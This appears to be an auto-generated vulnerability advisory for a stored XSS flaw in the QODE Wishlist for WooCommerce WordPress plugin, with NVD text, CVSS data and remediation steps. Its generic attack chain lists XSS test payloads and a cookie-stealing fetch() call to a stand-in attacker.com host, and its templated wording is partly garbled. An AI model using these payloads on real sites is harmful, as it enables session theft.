CVE-2026-121516 — WordPress is vulnerable to QODE Wishlist for WooCommerce — CWE-79
CVE-2026-121516 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 6.1/10) affecting WordPress is vulnerable to QODE Wishlist for WooCommerce. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, triggering a scope change (S:C) across connected components and posing a direct security risk to affected deployments.
📄 Official NVD / MITRE Original Record Text
The QODE Wishlist for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'qode_wishlist_for_woocommerce_guests_items' parameter in all versions up to, and including, 1.2.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by guests because the required wp_rest nonce is publicly emitted to unauthenticated visitors on the /wishlist/ page, and the attacker controls the transient key, meaning the payload is stored site-wide and only requires a victim to open a crafted share URL and click the injected title link. Successful exploitation additionally requires an action by an administrator — the attacker cannot trigger the vulnerability on their own.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-121516
CVSS 6.1/10 · MEDIUM · 07.11.2026
CWE: CWE-79
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: The QODE Wishlist for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'qode_wishlist_for_woocommerce_guests_items' parameter in all versions up to, and including, 1.2.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user ac…
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
Pivot to other systems possible.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Add CSP headers, HTML-encode all user input.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📋 Routine update cycle (30 days)
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]
FOFA Query